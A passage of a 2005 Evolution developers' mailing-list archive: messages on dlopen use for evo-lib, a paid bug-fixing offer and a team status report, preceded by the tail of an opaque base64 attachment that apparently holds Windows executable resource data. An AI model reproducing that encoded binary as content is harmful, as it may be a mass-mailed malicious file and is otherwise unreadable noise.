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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAIAAwAAACAAAIAOAAAAkAAAgAAAAAAAAAAAAAAAAAAAAgABAAAAQAAAgAIAAABoAACA AAAAAAAAAAAAAAAAAAABAAAAAABYAAAA0PAAAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AQAAAAAAgAAAALjzAACoCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAQAAAKgAAIAAAAAA AAAAAAAAAAAAAAEAAAAAAMAAAABg/AAAIgAAAAAAAAAAAAAAKAAAACAAAABAAAAAAQAEAAAA AACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAADAwMAA gICAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAIgAAAAAAAAAAAAAAAAAAACZmZn/93 d3d3d3d/d3d3cAkAAAAAAAAAAAAAAAAAAHAJB3d3ERERcACH/3iAgYBwCQd3dwEREYAAcAiH gIGA8AkHd3dwARGId4iIEHCBEPAHB3d3d3CId3d3eIGIERDwBwd3d3d4d3d3d3eIiAEQ8AcH d3d3h3h3d3d3eIiIgPAHBxd3d4d//3f/93F4eIDwBwcXd3eH//dxP/8Rd4iA8AcHF3d3h/d3 cB/xEY+IcPAHBxd3F3P3d3ARERGI8RDwBwcRdxdw93EQEREYiPgQ8AcHEXcRcBd3ERGBiBhx EPAHBxF3ERAXf/8REXGIgRD4BwcYFwgQh////xf4iBEQ+AcHGIEQEYd///cf8YEREPgHB3F4 EAh3d/d3H3GBERB4Bwdxd4EId3d4cYcREREQeAcHcX/4ERF3ERiBEREREHgHh3cP/3cREReI eBiBGIB4B3iIEY9xgYEXgXiIiBGAeA+H/4EQGIFxF4F3gBeBEHgPh3EQAYeIeB9wh4EIeBB4 D4d3dwF3F/gPcI9xAYcQeA8Hd3cI+Af4D3AX+AGHcHgPB3dwF/EPcAdwCPgQGHB4Dwd3cB9w H3AXcAh3cAEQeA8AAAAAAAAAAAAAAAAAAHgP//////////////d3d3d4AAAAiIiIiIiIiIiI iIiIiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAAACAAAABAAAAAAQAIAAAAAACABAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAADAwMAAwNzAAPDKpgAEBAQA CAgIAAwMDAAREREAFhYWABwcHAAiIiIAKSkpAFVVVQBNTU0AQkJCADk5OQCAfP8AUFD/AJMA 1gD/7MwAxtbvANbn5wCQqa0AAAAzAAAAZgAAAJkAAADMAAAzAAAAMzMAADNmAAAzmQAAM8wA ADP/AABmAAAAZjMAAGZmAABmmQAAZswAAGb/AACZAAAAmTMAAJlmAACZmQAAmcwAAJn/AADM AAAAzDMAAMxmAADMmQAAzMwAAMz/AAD/ZgAA/5kAAP/MADMAAAAzADMAMwBmADMAmQAzAMwA MwD/ADMzAAAzMzMAMzNmADMzmQAzM8wAMzP/ADNmAAAzZjMAM2ZmADNmmQAzZswAM2b/ADOZ AAAzmTMAM5lmADOZmQAzmcwAM5n/ADPMAAAzzDMAM8xmADPMmQAzzMwAM8z/ADP/MwAz/2YA M/+ZADP/zAAz//8AZgAAAGYAMwBmAGYAZgCZAGYAzABmAP8AZjMAAGYzMwBmM2YAZjOZAGYz zABmM/8AZmYAAGZmMwBmZmYAZmaZAGZmzABmmQAAZpkzAGaZZgBmmZkAZpnMAGaZ/wBmzAAA ZswzAGbMmQBmzMwAZsz/AGb/AABm/zMAZv+ZAGb/zADMAP8A/wDMAJmZAACZM5kAmQCZAJkA zACZAAAAmTMzAJkAZgCZM8wAmQD/AJlmAACZZjMAmTNmAJlmmQCZZswAmTP/AJmZMwCZmWYA mZmZAJmZzACZmf8AmcwAAJnMMwBmzGYAmcyZAJnMzACZzP8Amf8AAJn/MwCZzGYAmf+ZAJn/ zACZ//8AzAAAAJkAMwDMAGYAzACZAMwAzACZMwAAzDMzAMwzZgDMM5kAzDPMAMwz/wDMZgAA zGYzAJlmZgDMZpkAzGbMAJlm/wDMmQAAzJkzAMyZZgDMmZkAzJnMAMyZ/wDMzAAAzMwzAMzM ZgDMzJkAzMzMAMzM/wDM/wAAzP8zAJn/ZgDM/5kAzP/MAMz//wDMADMA/wBmAP8AmQDMMwAA /zMzAP8zZgD/M5kA/zPMAP8z/wD/ZgAA/2YzAMxmZgD/ZpkA/2bMAMxm/wD/mQAA/5kzAP+Z ZgD/mZkA/5nMAP+Z/wD/zAAA/8wzAP/MZgD/zJkA/8zMAP/M/wD//zMAzP9mAP//mQD//8wA Zmb/AGb/ZgBm//8A/2ZmAP9m/wD//2YAIQClAF9fXwB3d3cAhoaGAJaWlgDLy8sAsrKyANfX 1wDd3d0A4+PjAOrq6gDx8fEA+Pj4APD7/wCkoKAAgICAAAAA/wAA/wAAAP//AP8AAAD/AP8A //8AAP///wAKExMKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgpNTU1NTU309PTx8fHx 8fHx8fHx8fHx9BoaGhoaGhoKCk0KCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKGgoKTQq1 tbW1tURERERFRL1DQ0MTvf//7xPqQ3RFbgoaCgpNCrW1tbW1EEREREREdENDQ71DQ+rq725D dERuCv8KCk0KtbW1tbW1EBBERERub5OTb29uEkRD70N0REUK/woKdQq1tbW1tbW1tRBub5qa mpqak5NvbkQSdERFRQr/Cgp1CrW1tbW1tbW1EpMak5qampqak5Nvbm4SEERECv8KCvEKtbW1 tbW1tRKTmm8aGhoampqak5Nvb29vEhIK/woK8Qq1RbW1tbW1bhoa/8PDGnX//8Oak0WTb5Nv Egr/CgrxCrVFtbW1tbVuGsPDwxqaRUz//8NFRZN1bm9vCv8KCvEKtUW1tbW1tW4a/xoampoQ Rf/DRURFb8Nvb5oK/woK8Qq1RbW1tUS1tUv/mpqakxBERUVEREVvbsNFRQr/CgrxCrVFRLW1 RLW1EP+amkREEERERERFb29uw29FCv8KCvEKtUVEtbVFRLUQRJoamkRERERvRXRvRG51RUUK /woK8Qq1RUW1tUVERBBEmhrDw8NEREREdURvbm9FRAr/EwrxCrVFb0S1EW9EEG+aw//////D RXXDb25uREVFCv8TCvEKtUVvb0REEUVEbxoaw8PDw5pF/8NFbkRERUQK/xMK8Qq1tUV1b0UR EW6TGhoawxqak0XDdUVuRERFRQrCEwrxCrW1RHV1b0URb5OTmpqTb5NFb3VFRUVFREVFCsJt CvEKtbVEdcPDb0VFRUWTk0VFRW9vRUVFRURERUUKwm0K8W+1tbURw8PDdXVFRUVFRXVvb3Vv RW9vRUVvbwrCbQrxdW9vb0VFb8N1RW9Fb0VFmm9Fmm9vb29vRUVvCsJtCsMTdcPDb0VFEUVv b0V1RUWab0WadW8RRZpvRUUKwm0KwxO1tUVFERFFb5pvb5pvRcOUEW+ab0URb5pvRArC7ArD E7W1tbW1EUWamkWaw28Rw5QRb8N1RRFFb5pFCsLsCsMKtbW1tbURb8NvEZrDbxHDmhFFmsNv EURvmpoKwuwKwwq1tbW1EUWaw0URw5oREZqaERFvw29FEURvmgrC7ArDCrW1tbURRcOaEUXD mhFFdZoREW+adXUREURFCsLsCsMKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKwuwKw8PD /////////////////////////8LCwsLCwsLC7AoKCgoKCm1tbW3s7Ozs7Ozs7Ozs7Ozs7Ozs 7Ozs7OzsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAgAgIBAAAQAEAOgCAAABACAgAAABAAgA qAgAAAIAoi8nXlfEj5JIXZwoo8EsrGGZWHa9N6ier8ctp2OGPLTEQXAFrho6SXsyUgmrDU8D FWNrq6A+IlwIe6LHTrolcXJndmPDsiorM5AeBVxcVk1gXiNOlWGNc1qAQUOXW7xeklythgBN WwFFDESIkWVghVyiQbF4m4gfe2EwDAEnk0VkMS2BproBb0RTDk6xNS4YnhEpRqVIRD5Xap0p jKM2ZaRVnasBCq2ZEbEqRkBkr3oSQEAdaHq9LCcTwIBriZOoZ8a5ColgDHiiaE51bYcYcLHG VbpVFpodc1tpCkeuqqM8UThCih58Fh5AAsAtwSjEdgZsjriAFlaDqQPBGhysYJtxmBRdJ3hV FzItHyAxq1pko8CjBiY3YrJZkJHFw2RbWahtFhW/DJcXK8GJORFDHKIlMbRTvXWjG1CNZyRu Cb2LCA5WRcESTL0RubKImlSdeFYrwE09TcV+np5DF5U3kqFVB1xww5yGn4ZxvHM4UI2qO788 sKwFgwKFcgRDHmEivJBUuZi6MQsxlBWmQDwPoVPCpHBhU7BtPQVQL2gJYikgE1uxecV7CzUE bE5WLZpvDBZWkFTBQl24oVJcY1V7RFQkgJBOYgc3KiZ9N20cQAJVooYNcZCePoW5YAUtxY2I bwmWHQ== ----------oxbkhovhmnbptnahumzq-- From owner-evolution-hackers@skeptopotamus.ximian.com Tue Feb 8 06:25:03 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id D7C2A1248D1; Tue, 8 Feb 2005 06:25:03 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 75ED5124480 for ; Tue, 8 Feb 2005 06:24:45 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id 3CF87633FA; Tue, 8 Feb 2005 06:24:45 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by skeptopotamus.ximian.com (Postfix) with ESMTP id 27BDA633D6 for ; Tue, 8 Feb 2005 06:24:45 -0500 (EST) Received: (qmail 29980 invoked from network); 8 Feb 2005 11:24:44 -0000 Received: from localhost (HELO linux.site) (michael@127.0.0.1) by localhost with SMTP; 8 Feb 2005 11:24:44 -0000 Subject: Re: [Evolution-hackers] Re: dlopen / API hooks for evolution ... From: michael meeks Reply-To: michael.meeks@novell.com To: Frank =?ISO-8859-1?Q?Sch=F6nheit?= "- Sun Microsyste=?UTF-8?Q?ms=2C_Inc.?=" Cc: ls@skeptopotamus.ximian.com, JP Rosevear , evolution In-Reply-To: <005201c50cdc$70da4ba0$0301a8c0@executivesontheweb.local> References: <1106914234.16399.349.camel@linux.site> <41FE3664.5030401@sun.com> <1107254982.12881.18.camel@linux.site> <4202387C.2010907@sun.com> <1107492539.21175.16.camel@linux.site> <005201c50cdc$70da4ba0$0301a8c0@executivesontheweb.local> Content-Type: text/plain; charset=ISO-8859-1 Organization: Novell, Inc. Date: Tue, 08 Feb 2005 11:14:47 +0000 Message-Id: <1107861287.20489.45.camel@linux.site> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=-12.4 required=5.0 tests=IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Mon, 2005-02-07 at 06:15 +0000, Frank Schönheit - Sun Microsyste=?UTF-8?Q?ms=2C_Inc.?= wrote: > > We had earlier created "dlopen hack" for evo-lib dependancy. Can we > > remove it now!! > > For the evo-lib, I don't consider usage of dlopen a hack. Quite - indeed, it's necessary to work with both evo 2.0 and 2.2 tragically. So - basically, Jayant - all that needs doing is to add some makefile.mk conditionals and a configure switch here. Frank - shall I commit what we have now to a cws ? and add the conditionals there ? do you have other comments / problems ? Thanks, Michael. -- michael.meeks@novell.com <><, Pseudo Engineer, itinerant idiot From owner-evolution-hackers@skeptopotamus.ximian.com Wed Feb 9 06:24:04 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 4D18A1243DC; Wed, 9 Feb 2005 06:24:04 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 5CC2412411C for ; Wed, 9 Feb 2005 06:23:52 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id 221596306E; Wed, 9 Feb 2005 06:23:52 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from smtp.schwaar.com (smtp.schwaar.com [212.31.69.154]) by skeptopotamus.ximian.com (Postfix) with ESMTP id B19B1631E1 for ; Wed, 9 Feb 2005 06:23:50 -0500 (EST) Received: from groupware.schwaar.com (groupware.schwaar.com [10.96.96.182]) by smtp.schwaar.com (8.11.6/8.11.6/SuSE Linux 0.5) with ESMTP id j19BNIh26592 for ; Wed, 9 Feb 2005 12:23:18 +0100 Received: from ibm-y0znk7bnw8m (t41.schwaar.com [10.96.96.221]) (authenticated bits=0) by groupware.schwaar.com (8.12.11/8.12.11/Debian-5) with ESMTP id j19BNGsw007879 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT) for ; Wed, 9 Feb 2005 12:23:17 +0100 From: Juraj Holtak To: evolution In-Reply-To: <1107861287.20489.45.camel@linux.site> References: <1106914234.16399.349.camel@linux.site> <41FE3664.5030401@sun.com> <1107254982.12881.18.camel@linux.site> <4202387C.2010907@sun.com> <1107492539.21175.16.camel@linux.site> <005201c50cdc$70da4ba0$0301a8c0@executivesontheweb.local> <1107861287.20489.45.camel@linux.site> Content-Type: text/plain Date: Wed, 09 Feb 2005 12:23:24 +0100 Message-Id: <1107948205.6935.12.camel@localhost> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-4.3 required=5.0 tests=BAYES_30,IN_REP_TO,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Looking for evolution-exchange developers... Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi List! My Company is willing to PAY an evolution and evolution-exchange hacker to fix bugs. We have many installations of debianised evolution in a MS Exchange enviroment and the bugs pop up faster than they are getting fixed in the debian repository. If u have the will and know-how, please email me. This is a serious offer. Juraj Holtak SCHWAAR.COM Austria From pchenthill@novell.com Wed Feb 9 08:45:14 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 92BFE1242FA; Wed, 9 Feb 2005 08:45:14 -0500 (EST) Received: from yahoo.blr.novell.com (unknown [202.144.86.147]) by lists.ximian.com (Postfix) with ESMTP id 640FA124064 for ; Wed, 9 Feb 2005 08:45:02 -0500 (EST) Received: by yahoo.blr.novell.com (Postfix, from userid 0) id 917AB29E91; Wed, 9 Feb 2005 19:15:31 +0530 (IST) From: chen To: JP Rosevear Cc: gene-pool@ximian.com, Evolution Hackers mailing list In-Reply-To: <1107276184.29099.11.camel@bishop.rosevear.com> References: <1107276184.29099.11.camel@bishop.rosevear.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: Wed, 09 Feb 2005 19:15:29 +0530 Message-Id: <1107956730.3828.12.camel@yahoo.blr.novell.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 X-Spam-Status: No, hits=-20.5 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: [gene-pool] *Wednesday* 10 am Team Meeting Agenda and IRC Information Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi, Fixed some bugs and crashes in groupwise calendar and committed the string changes. Did the list moderation. thanks, chenthill. On Tue, 2005-02-01 at 11:43 -0500, JP Rosevear wrote: > Novell people, send a status report if you can't make it. 10am Boston time > (UTC -0500) on Wednesday. > > This meeting will take place on irc.gimp.org, #evolution-meet > > 1. JP > -2.1 development status > -2.1 String freeze > -2.1 notification reminder > -Patch review mode > -2.0.4 bugs and timeline > > 2. Harish on the wiki > > 3. Team > -individual status reports > > 4. Additional Business > -questions, concerns, etc. > > -JP From owner-evolution-hackers@skeptopotamus.ximian.com Wed Feb 9 19:04:32 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id A4F171245AF; Wed, 9 Feb 2005 19:04:32 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by lists.ximian.com (Postfix) with ESMTP id F37D7124D02 for ; Wed, 9 Feb 2005 19:03:59 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id BE451636BE; Wed, 9 Feb 2005 19:02:31 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by skeptopotamus.ximian.com (Postfix) with ESMTP id AD07363B89 for ; Wed, 9 Feb 2005 19:02:31 -0500 (EST) Received: (qmail 1280 invoked from network); 10 Feb 2005 00:02:30 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 10 Feb 2005 00:02:30 -0000 Subject: Re: [Evolution-hackers] Looking for evolution-exchange developers... From: Not Zed To: Juraj Holtak Cc: evolution In-Reply-To: <1107948205.6935.12.camel@localhost> References: <1106914234.16399.349.camel@linux.site> <41FE3664.5030401@sun.com> <1107254982.12881.18.camel@linux.site> <4202387C.2010907@sun.com> <1107492539.21175.16.camel@linux.site> <005201c50cdc$70da4ba0$0301a8c0@executivesontheweb.local> <1107861287.20489.45.camel@linux.site> <1107948205.6935.12.camel@localhost> Content-Type: multipart/alternative; boundary="=-aM26uOcaPDF/Jp7jPqnO" Date: Thu, 10 